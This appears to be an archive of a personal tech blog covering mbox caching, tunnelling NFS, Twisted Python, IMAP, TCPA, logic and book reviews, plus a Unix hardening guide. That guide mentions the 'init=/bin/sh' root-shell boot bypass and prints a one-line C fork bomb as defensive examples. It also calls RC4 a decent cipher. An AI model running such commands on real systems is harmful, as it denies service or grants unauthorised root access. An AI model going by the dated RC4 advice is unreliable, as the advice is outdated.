  
  To explain why fast system calls would be really nice, consider: My current numbers for the amount of processing I'm going to be doing is 250MB/s in 300 byte packets. That's somewhat pessimistic, but that's what I'm going on. That about 830,000 packets/second. If a system call takes 400 cycles (the 286 figure is for getpid, other system calls do a little more work and with the TBL flushes, it's at least 400) that's 330 megacycles of system calls per second (for 1 system call per packet). But it's going to take more than one system call per packet even with funky vector IO so, basically, I'm looking at about 600 MHz just for system calls. Ouch.
  
  (I reserve the right to ridicule these numbers later)
  
    
    
  Caching MBoxes
    
  Designs for stuff. More so that I don't forget really.
  
  
  
  For mail servers that handle mboxes (POP/IMAP) it's a real pain when you have to parse the whole mbox every time. Especially when the mboxes are large. Especially, especially when said mboxes are NFS mounted.
  
  So the simple observation is that mboxes are append only and other mail clients will only change something in the middle if they are deleting a message. Thus:
  
  When you parse an mbox, cache what information you need (like the length and seek position of each message) and store it. Also store an MD5 of the first n bytes of the last message. (n should be big enough to cover the headers that mail servers insert that contain uniqueids)
  When you open an mbox, check to see if the cache file is more recent.
  If it is, just load it.
   
  Otherwise, check to see if the MD5 sum still matches.
   If it doesn't then a message has been deleted. Hopefully people will generally only use one mail client so messages won't be deleted from the mbox by other clients too often. So just reparse the mbox (and cache the result, of course)
  If the MD5 still matches then you only need to parse from the last known place in the mbox to get the new messages.
  
  
  When you delete messages `yourself' (e.g. a DELE or EXPUNGE command) then you can update the cache to save reparsing next time.
  
  
  The above design is pretty much implemented and has a POP3 server wrapped around it. It still needs a fair amount of work tidying it up but I might stick it up here at some point. It was going to be an IMAP4 server, but having seen the IMAP protocol I don't think that's going to happen.
  
  Secure NFS
  
  NFS is generally pretty delicate. And while other projects aim to fix it properly I'm going to leave it well alone.
  
  So, the general design at the moment is to put a box (call it bastion) in front of the NFS server (call it falcon) that handles all the traffic for it. The clients use a tuntap to direct NFS traffic down an RC4 encrypted TCP tunnel to bastion. Bastion then sends decrypts it and sends the packets onto falcon, which is none the wiser.
  
  
  I use RC4 because bastion is going to be doing a lot of decryption and RC4 is fast. The network is reasonably secure from sniffing and RC4 is still a decent algorithm.
  Some security comes from the fact that you have to have a valid secret key for bastion before you can talk to the NFS server. Thus you cannot just plug a laptop into the wall, you at least have to get a key from a valid client.
  Hiding the key on the client is a real pain. A TCPA motherboard would help a lot, but we don't have any. Bascailly, keys are going to be compromised.
  Bastion can intercept NFS mount packets and only let pass ones which it considers valid. This allows user-level authentication but the details are still to be worked out. Possibly a wrapper around PAM and SSH would manage most of the details.
  At the moment, it's wide open so anything is raising the bar at least
  
  
    
    
  The Salmon Of Doubt
    
  I swear when I came here that I intended to do some work. I really did! Look, there's a problem sheet to prove it. (there's also an empty pack of Munchies, which I don't remember eating but I suppose that I must have because it was full 20 minutes ago.)
  
  But alas, Waterstones are finally selling the paperback edition of The Salmon Of Doubt and my spotting and subsequent purchase of the aforementioned book is the current reason for the lack of work and, I suspect, will continue being so until I finish it.
  
  "Why, ", you might ask, "has such an Adams fan not obtained himself a copy of this work of art before?". Well, the hardback edition was £18. Which isn't really a lot and, in my school days, would not even have been an item of note on my monthly book expenditure. But being the poor student that I now find myself, living in the centre of a city that is, by all accounts, extremely expensive; £18 seems a lot of money. Every time I saw the book on the shelf I could never quite justify the cost.
  
  Thankfully, I now can. And I now need to finish the damm thing before so that I can do the work I need to do for Monday!
  
    
    
  Kasparov vs Deep Junior e...
    
  
  Kasparov vs Deep Junior ends in a draw
  Security experts duped by Slammer 'jihad' rot
  Downing St copies US student's thesis
  
  
    
    
  Twisted Python
    
  Twisted describes itself as "Twisted is a framework, written in Python, for writing networked applications". You can browse the documentation to your hearts' delight, but I'll take you through the (small) code for doing a POP3 server.
  
  class POP3(LineReceiver):
  	def connectionMake (self):
  		self.transport.write ("+OK POP3 Ready\r\n");
  	def lineReceived(self, line):
  		...
  
  factory = Factory ()
  factory.protocol = POP3
  
  reactor.listenTCP (8007, factory)
  reactor.run ()
  
  And that's all (minus the import lines). Since POP3 is purely a line based protocol we can subclass the LineReceiver which handles all the buffering for us. The code is pretty self explanatory.
  
  Twisted works as an async core and, as such, your functions cannot block (say, reading a large mbox). In these cases, you use Twisted's threading functions:
  
  
  	def command_RETR (self, parts):
  		reactor.callInThread (self.RETR_worker, n, -1)
  	def RETR_worker (self, n, top_lines):
  		ret = cStringIO.StringIO ()
  		n = self.mbox.message_numbers_get (n)
  		...
  Twisted also offers very nice objects for callbacks when a thread function returns a value.
  
  Twisted provides pretty much everything you could ask for in a networking framework and more besides. Just look at the list of modules in the API reference
  
    
    
  Caching IMAP
    
  
  Bram: first release of new project, Codeville
  
  
  As I'm sure some people have noticed (except those on RSS feeds) I've trimmed the header of the site on the advice of Etienne because the top post ended up too far down. Thanks Etienne.
  
  The scripts which generate this site really need updating too. One feature I would like to add is the ability to view all the blog content relating to a topic. This requires that I go and tag all my past entries, but there aren't too many of those.
  
  In other news, the local LUG held their InstallFest yesterday which, by all accounts, went pretty well. Debian (3.0 with some sid stuff like KDE3.1) was the default install, though some people opted for SuSE 8.1 instead. I think we only trashed one hard drive with Partition Magic.
  
  
  
  Building on an idea from one the CSG people I've half implemented an IMAP server which does caching of an mbox. Email here is all mbox format for a number of hard-to-change reasons and the current uw-crap server parses the whole thing every time. By keeping a cache of the structure you can speed things up a lot as the mboxes are over NFS. Fast deleting is a pain, but doable.
  
  However, IMAP is evil (as documented below) and I can't really be bothered to finish the protocol implementation. The interesting bits are done and I might put a POP interface on it and stick it on IV.
  
  Twisted
  
  The server is built in Twisted Python which is a really nice framework. I'll write something about this soon. (the mbox hackery is a C module, however)
  
  In the meantime, I'm looking at securing NFS.
  
    
    
  To the tune of 'If You're...
    
  To the tune of 'If You're Happy And You Know It'
  All together now.......
  
  If you cannot find Osama, bomb Iraq.
  If the markets are a drama, bomb Iraq.
  If the terrorists are frisky,
  Pakistan is looking shifty,
  North Korea is too risky,
  Bomb Iraq.
  
  If we have no allies with us, bomb Iraq.
  If we think that someone's dissed us, bomb Iraq.
  So to hell with the inspections,
  Let's look tough for the elections,
  Close your mind and take directions,
  Bomb Iraq.
  
  It's pre-emptive non-aggression, bomb Iraq.
  To prevent this mass destruction, bomb Iraq.
  They've got weapons we can't see,
  And that's all the proof we need,
  If they're not there, they must be,
  Bomb Iraq.
  
  If you never were elected, bomb Iraq.
  If your mood is quite dejected, bomb Iraq.
  If you think Saddam's gone mad,
  With the weapons that he had,
  And he tried to kill your dad,
  Bomb Iraq.
  
  If corporate fraud is growin', bomb Iraq.
  If your ties to it are showin', bomb Iraq.
  If your politics are sleazy,
  And hiding that ain't easy,
  And your manhood's getting queasy,
  Bomb Iraq.
  
  Fall in line and follow orders, bomb Iraq.
  For our might knows not our borders, bomb Iraq.
  Disagree? We'll call it treason,
  Let's make war not love this season,
  Even if we have no reason,
  Bomb Iraq.
  
  
    
    
  Below is the text of an e...
    
  Below is the text of an email I sent to the p2p-hackers list:
  
  On Mon, Feb 03, 2003 at 12:04:34AM -0500, Seth Johnson wrote:
  > Tell American Megatrends and Transmeta not to make chips
  > that let others control your computer!
  
  This is sensationalist and wrong. TCPA chips do not let other people `control
  your computer', in fact the abilities of the TCPA chip are rather limited.
  It would help if you read the spec for TCPA (http://www.trustedcomputing.org/)
  before posting such stuff, but I will admit that the TCPA spec is a wonderful
  example of exactly how not to write a spec. I'm sure much of the 
  min-understanding of TCPA is due to the poor quality of this document.
  
  Also see
  http://www.research.ibm.com/gsal/tcpa/
  for a wonderful work about TCPA which may alay some of your fears.
  
  > Palladium and TCPA would hardwire your home computer so that
  > these four entities and their partners would be able to run
  > processes on your computer, entirely outside your control,
  > indeed, without your knowledge.
  
  If you are running Windows this pretty much happens already.
  
  > The mechanics are as follows: only code that has been signed
  > with a special Microsoft provided key will run. Microsoft
  > will retain at all times the power to revoke any other
  > entity's keys. In particular, no operating system will be
  > able to boot without a key from Microsoft. So if Palladium
  > is forced into every home computer, there will be no more
  > free software. 
  
  Total crap. It M$ wish to implement code signing in Windows they can do that
  with or without TCPA .  TCPA allows you to seal data and only unseal it when
  booted in the same configuration. It also allows you to `prove' to another
  party that you are running a given configuration (with a number of assumptions)
  "The TCPA chip doesn t execute anything. It accepts request data, and replies
  with response data. The TCPA chip does not and cannot control execution!"
  (IBM paper). *TCPA chips do not prevent free-software running on the computer*
  
  > Microsoft will be able to spy on each and every keystroke,
  > and mouse movement, and send encrypted messages from your
  > machine to Microsoft headquarters. Microsoft will also be
  > able to examine every file on your system.
  
  As they can (and, by some accounts, do) currently.
  
  > Your encryption
  > programs will not work against Microsoft, or any other
  > entities which have full power keys from Microsoft. 
  
  Utter crap again. TCPA does not alter mathematical reality. Boot Linux
  and encrypt all you like.
  
  > There are two reasons most people will not be able to escape
  > the All Seeing Eye and Invisible Hand of Palladium. 
  
  You are mixing up Palladium and TCPA. And we don't even have details on
  Palladium yet.
  
  > Once Microsoft and Intel have forced Palladiated hardware
  > into every personal computer, it will be impossible to run a
  > free OS. 
  
  Rubbish. See above.
  
  Now, TCPA does allow some nasty things to happen. See
  http://www.trustedcomputing.org/docs/TCPA_first_WP.pdf
  for an example of `content providers' using TCPA to only trust a computer
  running a given OS. But, personally, I would like a TCPA system. That way I
  can encrypt my filesystem and store the key in the TPM; which would only
  decrypt it when my kernel was booted. As a crypto junkie that appeals quite a
  lot.
  
  
    
    
  IMAP
    
  
  	
  Sanity in the legal wilderness (e.g. copyright law).
  
  
  
  
  I've had cause to read the IMAP RFC rather a lot recently and it's a pretty good example of what not to do when deigning a protocol.
  
  For example, in the FETCH command:
  ALL: Macro equivalent to: (FLAGS INTERNALDATE RFC822.SIZE ENVELOPE)
  Do they really think that people are going to be using raw IMAP with a telnet client so often that these shortcuts are going to be useful? It's not exactly damaging, it's just stupid and a clear indication that the designers didn't understand protocol design
  The point of protocol design it's to get all the required functionality in there. It's to do that with the minimum number of primitives
  Now sometimes those primitives are pretty large and performance dictates that they shouldn't be broken down any further. But IMAP certainly cannot claim that it has hit that barrier.
  Also, IMAP servers are supposed to parse MIME and present a breakdown to the client, the point being that the client doesn't have to fetch the whole message. Desirable functionality, but commands for fetching and substring searching in a byte range would allow clients to do that and not burden the server with the very-much-client-side-total-mess that is MIME. And this type of thing litters the IMAP protocol.
  
    
    
  Now hosted on Imperial se...
    
  Now hosted on Imperial servers. Cheers CSG.
  
    
    
  Goodbye metis...
    
  As of this weekend, metis.imperialviolet.org will cease to be. Physically it will remain, but behind a NAT, ticking away in quiet invisibility.
  
  Specificed and built by myself it has been running pretty much flawlessly since inception. Downtime was generally not its fault:
  
  
  Powercuts (many of these)
  Upstream network failures
  Upstream's promises of a static IP address failing (many of these)
  PSU fan failure cause it to overhead an die every few hours (I guess you could call that its fault)
  Rats pissing in the PSU and shorting it out (I kid you not)
  
  
  Goodbye, good server.
  
  (this may well mean that imperialviolet as a website will be down over the weekend. Email will continue to work)
    
    
  Theo
    
  
  A Conversation with Virtual Reality Pioneer Jaron Lanier, Part One
  The Scientist and Engineer's
  Guide to Digital Signal Processing
  More secure NFS
  Building a compiler
  
  
  Note to self: Keep a GRUB boot disk about because the bootloader is never on the disk you think it is
  
  
  
  Theo Hong is a fellow Freeneter whom I fist met at the first O'Reilly P2P conference. He was also nice enough to show me round Imperial last year when I was considering universities. I thought he had headed off to Boston at the beginning of the academic year but someone remarked today that he was still here. And indeed he is!. Woo!
  
    
    
  I was a technical reviewe...
    
  I was a technical reviewer for UNIX Power Tools (3rd Ed) and, while cleaning out an old drive today, I found the sketch I did for the security chapter. For those who own the book, I thought that chapter 48 needed serious work and did a sketch to show what I would have liked in it's place. Anyway, the editor disagreed so I might as well post that sketch here.
  
  * Attack Models
  
  Any discussion of security must first at least give a passing nod to the idea
  of who your attacker is. The decisions you make concerning security
  will largely be based on how well funded, motivated and powerful your
  attacker is. The security needs of government computers are very
  different to the Amstrad that someone occasionally uses to type a
  letter.
  
  For a computer connected to the Internet the profile of your average
  attacker will be a mostly unmotivated, largely unskilled individual
  (unless you have special reason to think you are a high profile
  target). Unfortunately there are many attackers on the Internet using
  automated tools which exploit vulnerable software automatically. For
  this reason all networked computers should be secured against this
  kind of threat and prepared in the event of a breach.
  
  * Least-Privilege
  
  The principle of least-privilege states that something should have the
  ability to carry out its task and no more. This seems like a simple
  idea and easily obtainable but in practice is often violated.
  
  All processes run with a UID, GID and are members of certain
  groups. For example when you (say, UID=1000) run /bin/ls a process is
  created which inherits your UID, GID and groups and the image of
  /bin/ls is loaded and executed. The ls process may then do anything
  which you could do. This is an example of a violation of least
  privilege as there is no need, for example, for ls to be able to
  alter any files.
  
  No security model is perfect and we have to live with the limitations of
  the UNIX security model on UNIX based systems. 
  
  * Physical Security
  
  A comprehensive coverage of this topic is outside the scope of this book, but
  if you cannot secure the physical computer then no amount of clever software
  is going to help. Ideally the computer will be in a locked room with
  dedicated power and air conditioning but, unless you are cohosting,
  this is very unlikely. Most physical situations are far from ideal and
  you should always keep this in the back of your mind.
  
  You may wish to read Security Engineering by R. Anderson for an interesting
  and detailed coverage of physical security (among other topics).
  
  ** Booting Security
  
  The first vulnerable point is before the operating system has even
  loaded. Most computers will boot from a floppy disk first, by
  default. It requires physical access, but if an attacker can boot off
  their own kernel they have free reign over the system. At the very
  least you should change the booting options to only boot from the hard disk
  and set a BIOS password. Remember that a BIOS password can usually be
  cleared by shorting a jumper on the motherboard, however.
  
  The next stage to be concerned with is the boot loader which actually
  loads a kernel from the disk and runs it. At this point an attack may
  be able alter the boot sequence and bypass normal protections. For
  example, passing the option "init=/bin/sh" to a Linux kernel will
  cause it to drop to a root shell after the kernel has loaded.
  
  Boot loaders vary with the flavour of UNIX, investigate the man-page
  for yours to find what security features it has.
  
  * Unneeded services
  
  Many default installs are guilty of running far too many unneeded
  services by default. These generally remain unused and serve no
  purpose except to provide more possible entry points for an attacker.
  
  The first place to look is in /etc/inetd.conf. As a general rule of
  thumb you should comment out every service which you don't know that
  you require. Once you have done this (and every time you edit
  inetd.conf) you should send a SIGHUP to the inetd process.
  
  Often inetd will not be running any services in which case you can
  disable it.
  
  You should also check for other services with `ps auxw`,
  `netstat -l` and `lsof -i`. These services will have been started by
  your init scripts and you should consult the documentation for your
  system for disabling them.
  
  * Securing needed services
  
  Most systems will have a number of services which need to be running
  in order to function. Given that they are a necessity we must now
  turn to making them as secure as possible.
  
  The first question is which software are you going to use to perform
  the required tasks. Many services have a de-facto daemon that is
  usually installed to provide them. However, these de-facto choices
  often are not the most secure and you may wish to investigate others.
  
  For example, sendmail is the de-facto daemon to provide email
  services. However, it has a long history of security problems and a
  fundamentally bad design which violates least-privilege. If you need
  some advanced mail handing capability it might be that only sendmail
  will do. However, in nearly all cases packages such as qmail and
  postfix will do the job and these have been designed from the ground up with
  security in mind.
  
  ** Dropping root
  
  Many daemons will give you the option of switching to a non-root user
  once they have started up (setuid). This gives it the ability to perform some root
  tasks at startup and then prevent itself from issuing any more. If the
  server is compromised in operation the attacker gains control of a
  process running as a dummy user - much less damaging than a root compromise.
  For example a daemon may bind to a low numbered port (which requires
  root privileges) and then switch to a non-root user while retaining
  the socket in its file descriptor table.
  
  When offered you should always use a setuid option. You should,
  however, create a different user for each service. Many systems have
  an account called nobody that services often run under. But if nobody
  owns processes (and possibly files) then nobody is somebody! By
  confining each process to its own user you contain the service.
  
  * Chroot and jails
  
  The chroot system call changes the root directory for a
  process. Normally the root directory for a process is the systems root
  directory with the path "/". However by chrooting a process you can
  confine a process's view of the file-system so a given subdirectory.
  
  Note: After a chroot the current directory of a process may still be
  outside the new root file-system.
  
  ** Example chrooting Apache
  
  There are 2 stages to chrooting a daemon. The first is to reconfigure
  the daemon for the new paths. The second is to setup a minimal
  environment for the daemon to run in.
  
  For this example I'll be configuring apache in a temporary directory
  in my home. For a real server you'll want to put it a different
  directory (I use /jail).
  
  This example uses the chroot system call. Your system may provide
  other, similar calls such as jail. See the man pages for these calls.
  
  *** Building Apache
  
  Download an apache tarball from your favourite mirror and expand
  it. I'm using version 1.3.26 here.
  
  % cd ~/src
  % tar xzf apache_1.3.26.tar.gz
  % cd apache_1.3.26
  % ./configure --prefix=/home/agl/tmp/apache
  % make
  % make install
  
  You may wish to add other options to the configure command line to
  enable your favourite mod_foo.
  
  Now we reconfigure apache to expect the different path names. Since
  /home/agl/tmp/apache is going to be the new root apache will see paths
  like /htdocs.
  
  Apache's startup script is a shell script so we are going to need a
  shell in our root to run it. Since this is a Linux box I'm going to be
  using bash. If you have a real Bourne shell you may wish to use that instead.
  
  % cd ~/tmp/apache
  % vim /bin/apachectl
  
  We need to change 3 lines in this file and add one. Change the shebang
  line to expect a shell in the root directory and a couple of the
  paths. We also add a -f option to httpd to tell it where its config
  file is.
  
  #!/bin/sh -> #!/bash
  PIDFILE=/home/agl/tmp/apache/logs/httpd.pid -> PIDFILE=/logs/httpd.pid
  HTTPD=/home/agl/tmp/apache/bin/httpd -> HTTPD="/bin/httpd -f /conf/httpd.conf"
  
  Now, just before the line which reads "ERROR=0" insert a line reading
  "cd /". This sets the current directory to be inside the jail.
  
  We we need to remove the string "/home/agl/tmp/apache" every time it
  appears in conf/httpd.conf. Use your favourite text editor, or do
  
  % vim conf/httpd.conf
  :%s!/home/agl/tmp/apache!!
  
  You also need to find the User and Group directives in this file and
  change them to read
  
  User apache
  Group apache
  
  Now we come to the second part of setting up a chroot jail - creating
  the environment. Foremost in our mind are the user and group names we
  just told apache to use. It needs to be able to turn these into real
  UIDs and GIDs. For this it needs an /etc/passwd and /etc/group in the
  jail. However, I recommend that you also setup a user and group in the
  main passwd and group files with a sensible name so processes outside
  the jail can make sense of the httpd processes inside (for example, ps).
  
  In etc/passwd put
  
  apache:x:65534:65534:nobody:/home:/bin/sh
  
  and in etc/group put
  
  apache:x:65534:
  
  Now set the permissions
  
  % chmod 664 etc/passwd etc/group
  
  All modern systems support some kind of runtime linking of
  libraries. In order to run apache and bash we need to copy the
  libraries they require. These requirements vary greatly but the ldd
  command will generally reveal all the requirements.
  
  % ldd ../bin/httpd
  	libm.so.6 => /lib/libm.so.6 (0x00136000)
  	libcrypt.so.1 => /lib/libcrypt.so.1 (0x00158000)
  	libc.so.6 => /lib/libc.so.6 (0x00185000)
  	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00110000)
  % mkdir lib
  % cd lib
  % cp /lib/ld-linux.so.2 .
  % cp /lib/libc.so.6 .
  % cp /lib/libcrypt.so.1 .
  % cp /lib/libm.so.6 .
  % ldd /bin/bash
  	libncurses.so.5 => /lib/libncurses.so.5 (0x00136000)
  	libdl.so.2 => /lib/libdl.so.2 (0x00174000)
  	libc.so.6 => /lib/libc.so.6 (0x00178000)
  	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00110000)
  % cp /lib/libncurses.so.5 .
  % cp /lib/libdl.so.2 .
  % cp /lib/libnss_files.so.2 .
  % cd ..
  
  The last library isn't mentioned by any ldd listing, but glibc loads
  it on the fly to read /etc/passwd and /etc/group. Now we copy bash and
  cat into the jail (apachectl uses cat) and create /dev/null.
  
  % cp /bin/bash .
  % cp /bin/cat bin
  % mkdir dev
  % su
  # cp -a /dev/null dev
  
  That's the environment completed. Apache can be run by
  
  # chroot . ./bin/apachectl start
  
  * Limits
  
  Resource limits are required on any secure system - especially
  multi-user systems. Without them (and they are often disabled by
  default) users may use up so many resources that critical systems are
  unable to function and service is denied to others.
  
  A simple example is a fork bomb. The following line of C code will
  bring systems without resource limits to their needs - sometimes
  requiring a power cycle to recover.
  
  	  for (;;) fork ();
  
  There are two many types of resource limit - quota and limits.conf
  
  ** Limits.conf
  
  This file describes the limits placed on users for resources such as
  the process table and memory. The number of rules in this file should
  be kept to a minimum. Limits should be set on whole groups to keep the
  file manageable.
  
  ** Quota
  
  Quota controls the amount of disk space that users and groups may
  use. Quota systems vary widely between UNIXes and you may have to
  consult the documentation for your system for the specific commands
  required.
  
  Generally quota systems allow the restriction of blocks and
  inodes. Blocks are 512 or 1024 byte chunks and limiting this number
  limits the actual amount of data that a user may own. Inodes are
  structures that describe files and many file-systems have hard limits
  on the number available. Unless you limit them a user may be able to
  fill the inode table and prevent new files being created.
  
  * Security at more abstract levels
  
  There are many social aspects of security that also need to be considered
  by a poor-overworked sys admin. Much of this area of outside the scope of
  a book such as this.
  
  Much as been written about the security of
  passwords, or rather the lack of, but still insecure passwords remain.  
  Unless your users are security-savvy you can be sure that most of their
  passwords will be simple to guess.
  
  Several options present themselves from seeking to educate users, setting up
  cracklib or providing a version of passwd which only gives out random
  passwords.
  
  Social Engineering is another method for attackers to gain access to a 
  system and is very hard to defend against. It generally involves tricking
  users into revealing passwords or running Trojan programs. There are no good
  technical measures against this family of attacks. They require user
  education and strict guidelines.
  
  
    
    
  Well, it seems that my previous...
    
  Well, it seems that my previous comments about TCPA not being able to secure boot were true, but this work from IBM suggests that it can provide a primitive that says "only decrypt this on a given boot config".
  
  Now, a boot config (my name) is defined loosely in the TCPA specs (site seems to be down right now, maybe MsSQL worm) and I would wish to see exactly what it is hashing before I use it. But I can see many useful applications of this. For one, encrypt the hard drive and store the decryption key in the TCPA chip. That way you get seemless boots, but you cannot root the box with a floppy disk. I can think of a number times that function would have been nice. So I think I would be quite happy to have a TCPA motherboard and I want to see lots of neat uses of them.
  
    
    
  More on Proof by Contradiction
    
  
  Understanding The Linux Virtual Memory Manager. Also see the code commentary
  
  
  
  
  Ok, after talking with one of the maths people here about this, it boils down to this: proof by contractions works only if you accept A∨¬A. That's called the law of the excluded middle.
  
  Now, if you look that up (e.g. on MathWorld) you'll find at it says something like "this means that A is either true or false". But it doesn't. A∨¬A means that either A or ¬A is a theorm (i.e. can be reached on our axiom tree). So it really says either A or ¬A is provable; but Gödel has shown otherwise.
  
  And in my logic notes the following proof of A∨¬A was given:
  
  
  
  1
  ¬(A∨¬A)
  assume
  
  	
  
  	
  2
  A
  assume
  	
  3
  A∨¬A
  ∨I(2)
  	
  4
  ⊥
  ¬E(1,3)
  	
  5
  ¬A
  ¬I(2,4)
  6
  A∨¬A
  ∨I(5)
  7
  ⊥
  ¬E(1,6)
  
  8
  ¬¬(A∨¬A)
  ¬I(1,7)
  9
  A∨¬A
  ¬¬(8)
  
  
  (Box proofs are a pain to typeset in HTML)
  
  That means that the basis of proof by contradiction is proven using proof by contradiction. (it also has a ¬¬ elimination, but that's not the subject of this post)
  
  Thankfully, a google shows that I'm not the only person to ever think this way. (Which makes me a little more confident that someone like Ralph or Bram isn't going to stomp me with a devistating counter argument). Intuitionistic Logic seems be (at least) a similar school of thought. A few more links that I haven't fully digested yet:
  
  
  K5: Alternative Logics
  The Law of the Excluded Middle
  The Continuum Hypothesis
  
  
    
    
  Book Review: Moonseed
    
  (Stephen Baxter, 0-061-05044-x (Hardback), 0-061-05903-x (Softback))
  
  Well, Edinburgh, geology and Sci-Fi. Ian (Clarke) and Matt (Key) eat your hearts out. Baxter always wrote pretty hard sci-fi but that generally means physics. This is the first time I've read a book where the science was mainly geology, but at no cost to the book. This book is novel, well written and engrossing (which is measured by the number of times I put the book down during a lecture).
  
  Book Review: Inner Loops
  
  (Rick Booth, 0-201-47960-5)
  
  This book deals with eeking out every last cycle from Intel processors. It's looking a bit dated now (only covers upto MMX, and even then it only covers that by documentation), however many of the tricks still hold true. The author covers each chip in turn (486-PPro) and then practical applications, including random number generators and JPEG codecs.
  
  Generally not very useful unless you do this sort of thing often, but if you can get it from a library then it's worth a flick through.
  
    
    
  Proof by Contradiction is Crap
    
  Google is being a little useless, but I have it on decent authority that one can prove, by contradiction, that there exists a well ordered relation for ℜ. In other words; that there is a minimal real number. That about that for a second.
  
  (context switch) You can look at something like metamath and find a axiom system, on top of which a sizeable amount of maths is built. Generally, all maths should be done this way but it's too tedious, so generally people don't bother being that precise in proofs, but the general idea is that they could, if they wished.
  
  Now you can think of the axiom system as a tree with n roots (one for each axiom). You can move from any point in a number of different ways by using a rule of inference the make a new theorem. (Ian and Will can stop shouting GEB at this point). This axiom tree branches into the space of all possible theorems.
  
  Now, we all hope like hell that our axiom tree only ever hits true statements. But we know that it doesn't hit all true statements (by Gödel). But when people prove by contradiction they start from a theorum and reach ⊥ (false). Since we assume that, starting from a point on the tree, we cannot reach a false statement like ⊥, they then assume that the original statement is false. Which is rubbish. What they have showed is that it isn't on the tree, and thus that it's not-provable (using that system).
  
    
    
  IV KeyVerify is working a...
    
  IV KeyVerify is working again. Now on Imperial servers.
  
    
    
  Testing my belief in free-speech
    
  From /.
  
  I think the key problem is ISPs that do not block egress traffic on port 25. If you need to send mail through a different SMTP server than provided by your ISP, the admin of that server ought to provide you with a means of using it with authentication on a port other than 25
  
  At least it was on slashdot so people know it's moronic, but good god what a prat. Because the email system is open to abuse, we should split the world in two (those deemed 'good enough' to send email and those who aren't)? Of course, the difference between those two classes would be that the former have more money. I just don't want to start on what a bad idea that is.
  
  (Incidently, that does the same thing that blacklists now do, but at the other end and I think those blacklists are equally moronic.)
  
  Location authentication
  
  Someone from CyberLocator contacted me. It seems they do the location based authentication that I was talking about (and have a pretty neat way of doing it).
    
    
  Well, I spent the afterno...
    
  Well, I spent the afternoon trying to get Bochs to work. Unfortunately, the networking is just broken in both packet socket and tuntap mode. The problem is someplace odd in the code and I don't feel active enough to hunt it down - I found an easy bug, but that wasn't enough.
  
  So, kissing the feet of the statue of RMS that I keep in the corner and asking for forgiveness, I install VMWare. And what did the wonders of commercial software manage? "Cannot allocate memory" (VM is setup for 32 megs and I have > 350M free).
  
  I'll see if I can dig up an old box tomorrow.
  
    
    
  Genetic Information
    
  So here's your interesting fact for the day (and example of evolution in action). Viruses have an evolutionary pressure to have a small genome which means they have to pack as much information in per base pair. Here's a base breakdown for a randomly picked virus genome:
  A: 28.9%  G: 23.8%  T: 22.2%  C: 25.1%
  
  And for human insulin:
  
  A: 17.0%  G: 35.2%  T: 16.7%  C: 31.1%
  
  So we have baggy genomes and don't bother packing as much information into our coding sequences.
  
  In extreme cases, some viruses have proteins encoded in all 3 frames. But if you don't understand that I don't have the space to explain it here.
  
    
    
  Will pointed me to this p...
    
  Will pointed me to this page for all my weird-glyphs-in-HTML needs. A quick Python script produces this useful table from that data. Your browser may not render all of these.
  
  
  
  
  AElig
  Æ
  Aacute
  Á
  Acirc
  Â
  Agrave
  À
  Alpha
  Α
  Aring
  Å
  Atilde
  Ã
  Auml
  Ä
  
  
  Beta
  Β
  Ccedil
  Ç
  Chi
  Χ
  Dagger
  ‡
  Delta
  Δ
  ETH
  Ð
  Eacute
  É
  Ecirc
  Ê
  
  
  Egrave
  È
  Epsilon
  Ε
  Eta
  Η
  Euml
  Ë
  Gamma
  Γ
  Iacute
  Í
  Icirc
  Î
  Igrave
  Ì
  
  
  Iota
  Ι
  Iuml
  Ï
  Kappa
  Κ
  Lambda
  Λ
  Mu
  Μ
  Ntilde
  Ñ
  Nu
  Ν
  OElig
  Œ
  
  
  Oacute
  Ó
  Ocirc
  Ô
  Ograve
  Ò
  Omega
  Ω
  Omicron
  Ο
  Oslash
  Ø
  Otilde
  Õ
  Ouml
  Ö
  
  
  Phi
  Φ
  Pi
  Π
  Prime
  ″
  Psi
  Ψ
  Rho
  Ρ
  Scaron
  Š
  Sigma
  Σ
  THORN
  Þ
  
  
  Tau
  Τ
  Theta
  Θ
  Uacute
  Ú
  Ucirc
  Û
  Ugrave
  Ù
  Upsilon
  Υ
  Uuml
  Ü
  Xi
  Ξ
  
  
  Yacute
  Ý
  Yuml
  Ÿ
  Zeta
  Ζ
  aacute
  á
  acirc
  â
  acute
  ´
  aelig
  æ
  agrave
  à
  
  
  alefsym
  ℵ
  alpha
  α
  amp
  &
  and
  ∧
  ang
  ∠
  aring
  å
  asymp
  ≈
  atilde
  ã
  
  
  auml
  ä
  bdquo
  „
  beta
  β
  brvbar
  ¦
  bull
  •
  cap
  ∩
  ccedil
  ç
  cedil
  ¸
  
  
  cent
  ¢
  chi
  χ
  circ
  ˆ
  clubs
  ♣
  cong
  ≅
  copy
  ©
  crarr
  ↵
  cup
  ∪
  
  
  curren
  ¤
  dArr
  ⇓
  dagger
  †
  darr
  ↓
  deg
  °
  delta
  δ
  diams
  ♦
  divide
  ÷
  
  
  eacute
  é
  ecirc
  ê
  egrave
  è
  empty
  ∅
  emsp
   
  ensp
   
  epsilon
  ε
  equiv
  ≡
  
  
  eta
  η
  eth
  ð
  euml
  ë
  euro
  €
  exist
  ∃
  fnof
  ƒ
  forall
  ∀
  frac12
  ½
  
  
  frac14
  ¼
  frac34
  ¾
  frasl
  ⁄
  gamma
  γ
  ge
  ≥
  gt
  >
  hArr
  ⇔
  harr
  ↔
  
  
  hearts
  ♥
  hellip
  …
  iacute
  í
  icirc
  î
  iexcl
  ¡
  igrave
  ì
  image
  ℑ
  infin
  ∞
  
  
  int
  ∫
  iota
  ι
  iquest
  ¿
  isin
  ∈
  iuml
  ï
  kappa
  κ
  lArr
  ⇐
  lambda
  λ
  
  
  lang
  ⟨
  laquo
  «
  larr
  ←
  lceil
  ⌈
  ldquo
  “
  le
  ≤
  lfloor
  ⌊
  lowast
  ∗
  
  
  loz
  ◊
  lrm
  ‎
  lsaquo
  ‹
  lsquo
  ‘
  lt
  <
  macr
  ¯
  mdash
  —
  micro
  µ
  
  
  middot
  ·
  minus
  −
  mu
  μ
  nabla
  ∇
  nbsp
   
  ndash
  –
  ne
  ≠
  ni
  ∋
  
  
  not
  ¬
  notin
  ∉
  nsub
  ⊄
  ntilde
  ñ
  nu
  ν
  oacute
  ó
  ocirc
  ô
  oelig
  œ
  
  
  ograve
  ò
  oline
  ‾
  omega
  ω
  omicron
  ο
  oplus
  ⊕
  or
  ∨
  ordf
  ª
  ordm
  º
  
  
  oslash
  ø
  otilde
  õ
  otimes
  ⊗
  ouml
  ö
  para
  ¶
  part
  ∂
  permil
  ‰
